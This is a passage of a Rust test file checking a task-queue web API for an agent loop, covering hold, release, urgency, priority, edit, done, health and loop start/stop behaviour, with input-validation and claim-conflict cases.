13044 .await;
13045 assert_eq!(released.status, 200);
13046 assert_eq!(released.json()["status_str"], "queued");
13047 assert_eq!(released.json()["resumption"]["source"], "web");
13048 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
13049 let mut cli = task.clone();
13050 cli.release_operator("cli", None);
13051 let web = queue.get(&task.id).unwrap().resumption.unwrap();
13052 let cli = cli.resumption.unwrap();
13053 assert_eq!(web.instruction, cli.instruction);
13054 assert_eq!(web.answers_through, cli.answers_through);
13055 assert_eq!(web.runs_through, cli.runs_through);
13056 assert_eq!(web.cleared_reason, cli.cleared_reason);
13057 assert_eq!(
13058 released.json()["attempts"],
13059 0,
13060 "release is a real second chance, not an instant re-hold"
13061 );
13062 assert_eq!(
13063 queue.get(&task.id).expect("reload").status,
13064 TaskStatus::Queued,
13065 "the change is on disk, not only in the reply"
13066 );
13067 assert!(
13068 !f.home
13069 .path()
13070 .join("queue")
13071 .join(format!("{}.lock", task.id))
13072 .exists(),
13073 "the claim the mutation took is released again"
13074 );
13075 }
13076
13077 #[tokio::test]
13078 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
13079 let f = Fixture::start().await;
13080 let queue = f.queue();
13081 let mut task = Task::new(
13082 "busy".to_owned(),
13083 "Running right now".to_owned(),
13084 PathBuf::from("/repo/magi"),
13085 Source::Human,
13086 );
13087 queue.put(&mut task).expect("file the task");
13088 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13089
13090 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13091
13092 assert_eq!(res.status, 409);
13093 assert_eq!(
13094 queue.get(&task.id).expect("reload").status,
13095 TaskStatus::Queued,
13096 "the refused hold changed nothing"
13097 );
13098 }
13099
13100 #[tokio::test]
13101 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13102 let f = Fixture::start().await;
13103 let queue = f.queue();
13104 let mut task = Task::new(
13105 "waiting on the migration".to_owned(),
13106 "Do the thing".to_owned(),
13107 PathBuf::from("/repo/magi"),
13108 Source::Human,
13109 );
13110 queue.put(&mut task).expect("file the task");
13111
13112 let held = f
13113 .post(
13114 &format!("/api/queue/{}/hold", task.id),
13115 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13116 )
13117 .await;
13118 assert_eq!(held.status, 200, "{}", held.body);
13119 assert_eq!(held.json()["status_str"], "held");
13120 assert_eq!(
13121 held.json()["hold_reason"],
13122 "waiting for 20260101-000000-aaaa to land"
13123 );
13124
13125 let listed = f.get("/api/queue").await.json();
13126 assert_eq!(
13127 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13128 "the card reads the reason off the same list route"
13129 );
13130
13131 let mut plain = Task::new(
13134 "no reason given".to_owned(),
13135 "Do another thing".to_owned(),
13136 PathBuf::from("/repo/magi"),
13137 Source::Human,
13138 );
13139 queue.put(&mut plain).expect("file the task");
13140 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13141 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
13142 assert!(held_plain.json()["hold_reason"].is_null());
13143
13144 let released = f
13145 .post(&format!("/api/queue/{}/release", task.id), None)
13146 .await;
13147 assert_eq!(released.status, 200);
13148 assert!(
13149 released.json()["hold_reason"].is_null(),
13150 "a release must clear the reason so the next hold does not inherit it"
13151 );
13152 }
13153
13154 #[test]
13155 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13156 for urgent in [true, false] {
13157 let body: UrgentBody =
13158 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13159 assert_eq!(body.urgent, urgent);
13160 }
13161 for input in [
13162 r#"{}"#,
13163 r#"{"urgent":null}"#,
13164 r#"{"urgent":"true"}"#,
13165 r#"{"urgent":1}"#,
13166 r#"{"urgent":true,"extra":false}"#,
13167 ] {
13168 assert!(
13169 serde_json::from_str::<UrgentBody>(input).is_err(),
13170 "{input}"
13171 );
13172 }
13173 }
13174
13175 #[tokio::test]
13176 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13177 let home = TempDir::new().unwrap();
13178 let q = Queue::at(home.path().join("queue"));
13179 let ui = Arc::new(Ui::new(
13180 q.clone(),
13181 Questions::at(home.path().join("questions")),
13182 Talks::at(home.path().join("talks")),
13183 home.path().join("runs"),
13184 home.path().into(),
13185 home.path().into(),
13186 ));
13187 let mut task = Task::new(
13188 "urgent handler".into(),
13189 "keep".into(),
13190 home.path().into(),
13191 Source::Human,
13192 );
13193 for status in [TaskStatus::Queued, TaskStatus::Held] {
13194 task.status = status;
13195 q.put(&mut task).unwrap();
13196 for urgent in [true, true, false, false] {
13197 let saved = queue_urgent(
13198 State(Arc::clone(&ui)),
13199 Path(task.short().into()),
13200 Ok(Json(UrgentBody { urgent })),
13201 )
13202 .await
13203 .unwrap();
13204 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13205 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13206 }
13207 }
13208 task.status = TaskStatus::Queued;
13209 q.put(&mut task).unwrap();
13210 let claim = q.claim(&task.id).unwrap();
13211 let error = queue_urgent(
13212 State(Arc::clone(&ui)),
13213 Path(task.id.clone()),
13214 Ok(Json(UrgentBody { urgent: true })),
13215 )
13216 .await
13217 .unwrap_err();
13218 assert_eq!(error.status, StatusCode::CONFLICT);
13219 assert!(error.message.contains("released"));
13220 drop(claim);
13221 for status in [
13222 TaskStatus::Running,
13223 TaskStatus::Done,
13224 TaskStatus::Failed,
13225 TaskStatus::Blocked,
13226 TaskStatus::Parked,
13227 ] {
13228 task.status = status;
13229 q.put(&mut task).unwrap();
13230 let error = queue_urgent(
13231 State(Arc::clone(&ui)),
13232 Path(task.id.clone()),
13233 Ok(Json(UrgentBody { urgent: false })),
13234 )
13235 .await
13236 .unwrap_err();
13237 assert_eq!(error.status, StatusCode::BAD_REQUEST);
13238 assert!(error.message.contains(status.as_str()));
13239 }
13240 }
13241
13242 #[tokio::test]
13243 async fn urgent_api_updates_preserves_and_validates_tasks() {
13244 let f = Fixture::start().await;
13245 let q = f.queue();
13246 let mut t = Task::new(
13247 "urgent API".into(),
13248 "unchanged".into(),
13249 PathBuf::from("/repo/magi"),
13250 Source::Human,
13251 );
13252 t.attempts = 2;
13253 t.priority = 9;
13254 t.interrupt = true;
13255 t.hold_reason = Some("waiting for approval".into());
13256 for status in [TaskStatus::Queued, TaskStatus::Held] {
13257 t.status = status;
13258 q.put(&mut t).unwrap();
13259 for urgent in [true, true, false, false] {
13260 let response = f
13261 .post(
13262 &format!("/api/queue/{}/urgent", t.short()),
13263 Some(&format!("{{\"urgent\":{urgent}}}")),
13264 )
13265 .await;
13266 assert_eq!(response.status, 200, "{}", response.body);
13267 assert_eq!(response.json()["urgent"], urgent);
13268 let saved = q.get(&t.id).unwrap();
13269 let mut before = serde_json::to_value(&t).unwrap();
13270 let mut after = serde_json::to_value(saved).unwrap();
13271 before["urgent"] = urgent.into();
13272 before.as_object_mut().unwrap().remove("updated_at");
13273 after.as_object_mut().unwrap().remove("updated_at");
13274 assert_eq!(after, before);
13275 }
13276 }
13277 let route = format!("/api/queue/{}/urgent", t.id);
13278 for body in [
13279 r#"{}"#,
13280 r#"{"urgent":null}"#,
13281 r#"{"urgent":"true"}"#,
13282 r#"{"urgent":1}"#,
13283 r#"{"urgent":true,"extra":false}"#,
13284 "{",
13285 ] {
13286 assert_eq!(f.post(&route, Some(body)).await.status, 400);
13287 }
13288 t.status = TaskStatus::Queued;
13289 q.put(&mut t).unwrap();
13290 let claim = q.claim(&t.id).unwrap();
13291 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
13292 assert_eq!(response.status, 409, "{}", response.body);
13293 assert!(!q.get(&t.id).unwrap().urgent);
13294 drop(claim);
13295 for status in [
13296 TaskStatus::Running,
13297 TaskStatus::Done,
13298 TaskStatus::Failed,
13299 TaskStatus::Blocked,
13300 TaskStatus::Parked,
13301 ] {
13302 t.status = status;
13303 q.put(&mut t).unwrap();
13304 for urgent in [true, false] {
13305 let response = f
13306 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
13307 .await;
13308 assert_eq!(response.status, 400, "{}", response.body);
13309 assert!(response.body.contains(status.as_str()));
13310 assert!(response.body.contains("queued or held"));
13311 assert!(!q.get(&t.id).unwrap().urgent);
13312 }
13313 }
13314 assert_eq!(
13315 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
13316 .await
13317 .status,
13318 404
13319 );
13320 }
13321
13322 #[tokio::test]
13323 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
13324 let f = Fixture::start().await;
13325 let queue = f.queue();
13326 let mut older = Task::new(
13327 "filed first".to_owned(),
13328 "x".to_owned(),
13329 PathBuf::from("/repo/magi"),
13330 Source::Human,
13331 );
13332 older.id = "20260101-000001-aaaa".to_owned();
13333 let mut newer = Task::new(
13334 "filed second".to_owned(),
13335 "x".to_owned(),
13336 PathBuf::from("/repo/magi"),
13337 Source::Human,
13338 );
13339 newer.id = "20260101-000002-bbbb".to_owned();
13340 queue.put(&mut older).expect("file older");
13341 queue.put(&mut newer).expect("file newer");
13342
13343 let before = f.get("/api/queue").await.json();
13346 assert_eq!(before[0]["id"], newer.id);
13347 assert_eq!(before[1]["id"], older.id);
13348
13349 let raised = f
13353 .post(
13354 &format!("/api/queue/{}/priority", older.id),
13355 Some(r#"{"priority":10}"#),
13356 )
13357 .await;
13358 assert_eq!(raised.status, 200, "{}", raised.body);
13359 assert_eq!(raised.json()["priority"], 10);
13360
13361 let after = f.get("/api/queue").await.json();
13362 let names: Vec<&str> = after
13363 .as_array()
13364 .unwrap()
13365 .iter()
13366 .map(|t| t["id"].as_str().unwrap())
13367 .collect();
13368 assert_eq!(names[0], older.id, "the raised task now sorts first");
13372 }
13373
13374 #[tokio::test]
13375 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
13376 let dir = TempDir::new().unwrap();
13377 let q = Queue::at(dir.path().join("queue"));
13378 let ui = Arc::new(Ui::new(
13379 q.clone(),
13380 Questions::at(dir.path().join("questions")),
13381 Talks::at(dir.path().join("talks")),
13382 dir.path().join("runs"),
13383 dir.path().to_path_buf(),
13384 dir.path().to_path_buf(),
13385 ));
13386 let mut t = Task::new(
13387 "budget".into(),
13388 "keep".into(),
13389 dir.path().into(),
13390 Source::Human,
13391 );
13392 t.attempts = 2;
13393 t.runs.push("prior-run".into());
13394 t.hold_manual(Some("waiting".into()));
13395 q.put(&mut t).unwrap();
13396 let change = |value| {
13397 queue_attempt_limit(
13398 State(ui.clone()),
13399 Path(t.id.clone()),
13400 Ok(Json(AttemptLimitBody {
13401 attempt_limit: value,
13402 })),
13403 )
13404 };
13405 for value in [
13406 serde_json::json!(3),
13407 serde_json::Value::Null,
13408 serde_json::json!(1),
13409 ] {
13410 let response = change(value.clone()).await.unwrap();
13411 assert_eq!(
13412 serde_json::to_value(response.0).unwrap()["attempt_limit"],
13413 value
13414 );
13415 let saved = q.get(&t.id).unwrap();
13416 assert_eq!(
13417 serde_json::to_value(&saved).unwrap()["attempt_limit"],
13418 value
13419 );
13420 assert_eq!(saved.status, TaskStatus::Held);
13421 assert_eq!(saved.attempts, t.attempts);
13422 assert_eq!(saved.runs, t.runs);
13423 assert_eq!(saved.hold_reason, t.hold_reason);
13424 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
13425 .await
13426 .unwrap()
13427 .0;
13428 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
13429 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
13430 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
13431 assert_eq!(outcome.max_attempts, detail.max_attempts);
13432 }
13433 for value in [
13434 serde_json::json!(0),
13435 serde_json::json!(-1),
13436 serde_json::json!(1.5),
13437 serde_json::json!("3"),
13438 serde_json::json!(true),
13439 ] {
13440 assert_eq!(
13441 change(value).await.err().unwrap().status,
13442 StatusCode::BAD_REQUEST
13443 );
13444 }
13445 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
13446 let claim = q.claim(&t.id).unwrap();
13447 assert_eq!(
13448 change(serde_json::json!(4)).await.err().unwrap().status,
13449 StatusCode::CONFLICT
13450 );
13451 drop(claim);
13452 for status in [
13453 TaskStatus::Running,
13454 TaskStatus::Done,
13455 TaskStatus::Failed,
13456 TaskStatus::Blocked,
13457 TaskStatus::Parked,
13458 ] {
13459 let mut stored = q.get(&t.id).unwrap();
13460 stored.status = status;
13461 q.put(&mut stored).unwrap();
13462 assert_eq!(
13463 change(serde_json::json!(4)).await.err().unwrap().status,
13464 StatusCode::BAD_REQUEST
13465 );
13466 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
13467 }
13468 let mut stored = q.get(&t.id).unwrap();
13469 stored.status = TaskStatus::Queued;
13470 q.put(&mut stored).unwrap();
13471 let _ = change(serde_json::Value::Null).await.unwrap();
13472 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
13473 }
13474
13475 #[tokio::test]
13476 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
13477 let dir = TempDir::new().unwrap();
13478 let repo = dir.path().join("repo");
13479 std::fs::create_dir(&repo).unwrap();
13480 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
13481 let q = Queue::at(dir.path().join("queue"));
13482 let ui = Arc::new(Ui::new(
13483 q.clone(),
13484 Questions::at(dir.path().join("questions")),
13485 Talks::at(dir.path().join("talks")),
13486 dir.path().join("runs"),
13487 dir.path().to_path_buf(),
13488 repo.clone(),
13489 ));
13490 let mut t = Task::new(
13491 "seats".into(),
13492 "keep instruction".into(),
13493 repo,
13494 Source::Human,
13495 );
13496 t.runs.push("prior-run".into());
13497 t.hold_manual(Some("waiting".into()));
13498 q.put(&mut t).unwrap();
13499 let change = |count| {
13500 queue_implementers(
13501 State(ui.clone()),
13502 Path(t.id.clone()),
13503 Ok(Json(ImplementersBody {
13504 implementers: count,
13505 })),
13506 )
13507 };
13508 for count in [2, 1, 2] {
13509 let response = change(count).await.unwrap();
13510 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
13511 let saved = q.get(&t.id).unwrap();
13512 assert_eq!(saved.implementers(), Some(usize::from(count)));
13513 assert_eq!(saved.runs, t.runs);
13514 assert_eq!(saved.instruction, t.instruction);
13515 }
13516 for count in [0, 4] {
13517 assert_eq!(
13518 change(count).await.err().unwrap().status,
13519 StatusCode::BAD_REQUEST
13520 );
13521 }
13522 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
13523 let claim = q.claim(&t.id).unwrap();
13524 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
13525 drop(claim);
13526 for status in [
13527 TaskStatus::Running,
13528 TaskStatus::Done,
13529 TaskStatus::Failed,
13530 TaskStatus::Blocked,
13531 TaskStatus::Parked,
13532 ] {
13533 let mut stored = q.get(&t.id).unwrap();
13534 stored.status = status;
13535 q.put(&mut stored).unwrap();
13536 assert_eq!(
13537 change(1).await.err().unwrap().status,
13538 StatusCode::BAD_REQUEST
13539 );
13540 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
13541 }
13542 }
13543
13544 #[tokio::test]
13545 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
13546 let f = Fixture::start().await;
13547 let queue = f.queue();
13548 let mut task = Task::new(
13549 "in flight".to_owned(),
13550 "x".to_owned(),
13551 PathBuf::from("/repo/magi"),
13552 Source::Human,
13553 );
13554 task.start("20260902-140502-bbbb".to_owned());
13555 queue.put(&mut task).expect("file the task");
13556
13557 let res = f
13558 .post(
13559 &format!("/api/queue/{}/priority", task.id),
13560 Some(r#"{"priority":9}"#),
13561 )
13562 .await;
13563 assert_eq!(res.status, 400, "{}", res.body);
13564 assert!(
13565 res.json()["error"]
13566 .as_str()
13567 .is_some_and(|e| e.contains("running")),
13568 "{}",
13569 res.body
13570 );
13571 assert_eq!(
13572 queue.get(&task.id).expect("reload").priority,
13573 0,
13574 "the refused write must not partially apply"
13575 );
13576 }
13577
13578 #[tokio::test]
13579 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
13580 let f = Fixture::start().await;
13581 let queue = f.queue();
13582 let mut task = Task::new(
13583 "old title".to_owned(),
13584 "old instruction".to_owned(),
13585 PathBuf::from("/repo/magi"),
13586 Source::Agent {
13587 run: "20260101-000000-beef".to_owned(),
13588 node: "implement".to_owned(),
13589 },
13590 );
13591 task.runs.push("20260101-000000-beef".to_owned());
13592 queue.put(&mut task).expect("file the task");
13593 let created_at = task.created_at;
13594
13595 let edited = f
13596 .post(
13597 &format!("/api/queue/{}/edit", task.id),
13598 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
13599 )
13600 .await;
13601 assert_eq!(edited.status, 200, "{}", edited.body);
13602 let body = edited.json();
13603 assert_eq!(body["title"], "new title");
13604 assert_eq!(body["instruction"], "new instruction");
13605 assert_eq!(body["id"], task.id, "editing must not mint a new id");
13606 assert_eq!(body["created_at"], created_at.to_string());
13607 assert_eq!(
13608 body["source"]["kind"], "agent",
13609 "editing a task an agent filed must not turn it human: {body}"
13610 );
13611 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
13612
13613 let reloaded = queue.get(&task.id).expect("reload");
13614 assert_eq!(reloaded.title, "new title");
13615 assert_eq!(reloaded.instruction, "new instruction");
13616 }
13617
13618 #[tokio::test]
13619 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
13620 let tmp = TempDir::new().expect("tempdir");
13623 let repo = tmp.path().join("repo");
13624 std::fs::create_dir_all(&repo).expect("repo dir");
13625 let judge = MOCK_AGENT_TOML.replace(
13626 "printf ok",
13627 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
13628 );
13629 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
13630 let f = Fixture::with_repo(repo.clone()).await;
13631 let queue = f.queue();
13632 let mut owner = Task::new(
13633 "owner".to_owned(),
13634 "review it".to_owned(),
13635 repo.clone(),
13636 Source::Human,
13637 );
13638 owner.review_branch = Some("magi/ab12/A".to_owned());
13639 queue.put(&mut owner).expect("file the owner");
13640 let mut task = Task::new(
13641 "draft".to_owned(),
13642 "old".to_owned(),
13643 repo.clone(),
13644 Source::Human,
13645 );
13646 queue.put(&mut task).expect("file the draft");
13647 let url = format!("/api/queue/{}/edit", task.id);
13648
13649 let refused = f
13650 .post(
13651 &url,
13652 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
13653 )
13654 .await;
13655 assert_eq!(refused.status, 409, "{}", refused.body);
13656 let msg = refused.json()["error"]
13657 .as_str()
13658 .unwrap_or_default()
13659 .to_owned();
13660 assert!(
13661 msg.contains("magi/ab12/A") && msg.contains("force"),
13662 "{msg}"
13663 );
13664 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
13665
13666 let forced = f
13667 .post(
13668 &url,
13669 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
13670 )
13671 .await;
13672 assert_eq!(forced.status, 200, "{}", forced.body);
13673 }
13674
13675 #[tokio::test]
13676 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
13677 let f = Fixture::start().await;
13678 let queue = f.queue();
13679 let mut task = Task::new(
13680 "in flight".to_owned(),
13681 "do not touch".to_owned(),
13682 PathBuf::from("/repo/magi"),
13683 Source::Human,
13684 );
13685 task.start("20260902-140502-bbbb".to_owned());
13686 queue.put(&mut task).expect("file the task");
13687
13688 let res = f
13689 .post(
13690 &format!("/api/queue/{}/edit", task.id),
13691 Some(r#"{"title":"x","instruction":"y"}"#),
13692 )
13693 .await;
13694 assert_eq!(res.status, 400, "{}", res.body);
13695 assert!(
13696 res.json()["error"]
13697 .as_str()
13698 .is_some_and(|e| e.contains("running")),
13699 "{}",
13700 res.body
13701 );
13702 assert_eq!(
13703 queue.get(&task.id).expect("reload").instruction,
13704 "do not touch",
13705 "the refused edit must not change the file"
13706 );
13707 }
13708
13709 #[tokio::test]
13710 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
13711 let f = Fixture::start().await;
13712 let queue = f.queue();
13713 let mut task = Task::new(
13714 "busy".to_owned(),
13715 "Running right now".to_owned(),
13716 PathBuf::from("/repo/magi"),
13717 Source::Human,
13718 );
13719 queue.put(&mut task).expect("file the task");
13720 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13721
13722 let priority = f
13723 .post(
13724 &format!("/api/queue/{}/priority", task.id),
13725 Some(r#"{"priority":9}"#),
13726 )
13727 .await;
13728 assert_eq!(priority.status, 409, "{}", priority.body);
13729
13730 let edit = f
13731 .post(
13732 &format!("/api/queue/{}/edit", task.id),
13733 Some(r#"{"title":"x","instruction":"y"}"#),
13734 )
13735 .await;
13736 assert_eq!(edit.status, 409, "{}", edit.body);
13737 }
13738
13739 #[tokio::test]
13740 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
13741 let f = Fixture::start().await;
13742 let queue = f.queue();
13743 let mut task = Task::new(
13744 "shipped by hand".to_owned(),
13745 "merged outside the loop".to_owned(),
13746 PathBuf::from("/repo/magi"),
13747 Source::Agent {
13748 run: "20260101-000000-b455".to_owned(),
13749 node: "implement".to_owned(),
13750 },
13751 );
13752 task.runs.push("20260101-000000-b455".to_owned());
13753 task.runs.push("20260101-000000-9af4".to_owned());
13754 queue.put(&mut task).expect("file the task");
13755 let created_at = task.created_at;
13756
13757 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13758 assert_eq!(done.status, 200, "{}", done.body);
13759 assert_eq!(done.json()["status_str"], "done");
13760
13761 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
13762 assert_eq!(
13763 reloaded.runs,
13764 ["20260101-000000-b455", "20260101-000000-9af4"]
13765 );
13766 assert_eq!(
13767 reloaded.source,
13768 Source::Agent {
13769 run: "20260101-000000-b455".to_owned(),
13770 node: "implement".to_owned(),
13771 }
13772 );
13773 assert_eq!(reloaded.created_at, created_at);
13774 }
13775
13776 #[tokio::test]
13777 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
13778 let f = Fixture::start().await;
13783 let queue = f.queue();
13784 let mut task = Task::new(
13785 "landed while held".to_owned(),
13786 "x".to_owned(),
13787 PathBuf::from("/repo/magi"),
13788 Source::Human,
13789 );
13790 task.hold_manual(Some("waiting on 3ed9".to_owned()));
13791 queue.put(&mut task).expect("file the held task");
13792
13793 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13794 assert_eq!(done.status, 200, "{}", done.body);
13795 assert_eq!(done.json()["status_str"], "done");
13796 assert!(
13797 done.json()["hold_reason"].is_null(),
13798 "a done task cannot still be waiting on something: {}",
13799 done.body
13800 );
13801 }
13802
13803 #[tokio::test]
13804 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
13805 let f = Fixture::start().await;
13810 let queue = f.queue();
13811 let runs = f.runs();
13812 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
13813 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
13817
13818 let mut task = Task::new(
13819 "landed by hand".to_owned(),
13820 "x".to_owned(),
13821 PathBuf::from("/repo/magi"),
13822 Source::Human,
13823 );
13824 task.runs.push("20260101-000000-doa1".to_owned());
13825 task.runs.push("20260101-000000-doa2".to_owned());
13826 queue.put(&mut task).expect("file the task");
13827
13828 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13829 assert_eq!(done.status, 200, "{}", done.body);
13830
13831 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
13832 .expect("run still on disk under this fixture's own home");
13833 assert_eq!(
13834 reloaded_run.status,
13835 RunStatus::Superseded,
13836 "closing the task by hand must relabel the earlier blocked attempt exactly \
13837 like the loop's own settle path does"
13838 );
13839 }
13840
13841 #[tokio::test]
13842 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
13843 let f = Fixture::start().await;
13848 let queue = f.queue();
13849 let runs = f.runs();
13850 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
13851 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
13852
13853 let mut task = Task::new(
13854 "closed with nothing actually landed".to_owned(),
13855 "x".to_owned(),
13856 PathBuf::from("/repo/magi"),
13857 Source::Human,
13858 );
13859 task.runs.push("20260101-000000-dob1".to_owned());
13860 task.runs.push("20260101-000000-dob2".to_owned());
13861 queue.put(&mut task).expect("file the task");
13862
13863 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13864 assert_eq!(done.status, 200, "{}", done.body);
13865
13866 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
13867 .expect("run still on disk under this fixture's own home");
13868 assert_eq!(
13869 reloaded_run.status,
13870 RunStatus::Blocked,
13871 "the last recorded attempt never landed, so the earlier one must not be \
13872 relabelled as superseded by it"
13873 );
13874 }
13875
13876 #[tokio::test]
13877 async fn unknown_ids_are_json_not_found_on_both_stores() {
13878 let f = Fixture::start().await;
13879
13880 let run = f.get("/api/runs/nosuchrun").await;
13881 let task = f.post("/api/queue/nosuchtask/hold", None).await;
13882
13883 assert_eq!(run.status, 404);
13884 assert_eq!(task.status, 404);
13885 assert!(
13886 run.json()["error"]
13887 .as_str()
13888 .is_some_and(|e| e.contains("run")),
13889 "the error names what was not found: {}",
13890 run.body
13891 );
13892 assert!(
13893 task.json()["error"]
13894 .as_str()
13895 .is_some_and(|e| e.contains("task")),
13896 "the error names what was not found: {}",
13897 task.body
13898 );
13899 }
13900
13901 #[tokio::test]
13902 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
13903 let f = Fixture::start().await;
13904
13905 let missing = f.get("/api/health").await.json();
13906 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
13907
13908 write_daemon(
13909 f.home.path(),
13910 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13911 );
13912 let stale = f.get("/api/health").await.json();
13913 assert_eq!(
13914 stale["daemon"]["running"], false,
13915 "a minute without a heartbeat is a dead daemon, not a busy one"
13916 );
13917 assert!(
13918 stale["daemon"]["stale_for_secs"]
13919 .as_i64()
13920 .is_some_and(|s| s >= 55),
13921 "staleness is reported so the UI can say how long: {stale}"
13922 );
13923
13924 write_daemon(f.home.path(), Timestamp::now());
13925 let fresh = f.get("/api/health").await.json();
13926 assert_eq!(fresh["daemon"]["running"], true);
13927 assert_eq!(fresh["daemon"]["idle"], false);
13928 assert_eq!(fresh["daemon"]["pid"], 4242);
13929 assert_eq!(fresh["daemon"]["completed"], 7);
13930 assert_eq!(
13931 fresh["daemon"]["current"][0]["task"],
13932 "20260902-140501-aaaa"
13933 );
13934 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
13935 }
13936
13937 #[tokio::test]
13938 async fn the_loop_is_not_running_until_something_starts_it() {
13939 let f = Fixture::start().await;
13940
13941 let view = f.get("/api/loop").await.json();
13942 assert_eq!(view["running"], false);
13943 assert_eq!(
13944 view["owned"], false,
13945 "nobody owns a loop that does not exist: {view}"
13946 );
13947 assert_eq!(view["stopping"], false);
13948 assert_eq!(view["last_error"], Value::Null);
13949 assert_eq!(view["daemon"]["running"], false);
13950 assert_eq!(
13951 view["repo"], "/repo/magi",
13952 "the repository a start would use, named before it is started"
13953 );
13954 }
13955
13956 #[tokio::test]
13957 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
13958 let f = Fixture::start().await;
13959
13960 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13961 assert_eq!(res.status, 200, "{}", res.body);
13962 let view = res.json();
13963 assert_eq!(view["running"], true);
13964 assert_eq!(
13965 view["owned"], true,
13966 "the loop the UI started is the UI's own to stop: {view}"
13967 );
13968 assert_eq!(
13969 view["merge"],
13970 Value::Null,
13971 "no override was given, so each repository's own config decides"
13972 );
13973
13974 let health = f.get("/api/health").await.json();
13978 assert_eq!(health["loop"]["running"], true, "{health}");
13979 assert_eq!(health["loop"]["owned"], true, "{health}");
13980
13981 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13982 }
13983
13984 #[tokio::test]
13985 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
13986 let f = Fixture::start().await;
13987 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13988 assert_eq!(first.status, 200, "{}", first.body);
13989
13990 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13991 assert_eq!(
13992 again.status, 409,
13993 "two loops on one queue race for the same claims: {}",
13994 again.body
13995 );
13996 assert!(
13997 again.json()["error"]
13998 .as_str()
13999 .is_some_and(|e| e.contains("already running the loop")),
14000 "the refusal has to say why: {}",
14001 again.body
14002 );
14003 assert_eq!(
14004 f.get("/api/loop").await.json()["running"],
14005 true,
14006 "and the loop that was already running is untouched by it"
14007 );
14008
14009 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14010 }
14011
14012 #[tokio::test]
14013 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
14014 let f = Fixture::start().await;
14015 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14016
14017 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14018 assert_eq!(
14019 res.status, 200,
14020 "the answer must not wait for the loop: a run in flight is tens of \
14021 minutes and the operator is holding a phone: {}",
14022 res.body
14023 );
14024
14025 let view = settled(&f, |v| v["running"] == false).await;
14026 assert_eq!(view["owned"], false);
14027 assert_eq!(
14028 view["stopping"], false,
14029 "a loop that has stopped is not still stopping: {view}"
14030 );
14031 assert_eq!(
14032 view["last_error"],
14033 Value::Null,
14034 "a loop that was asked to stop did not fail: {view}"
14035 );
14036
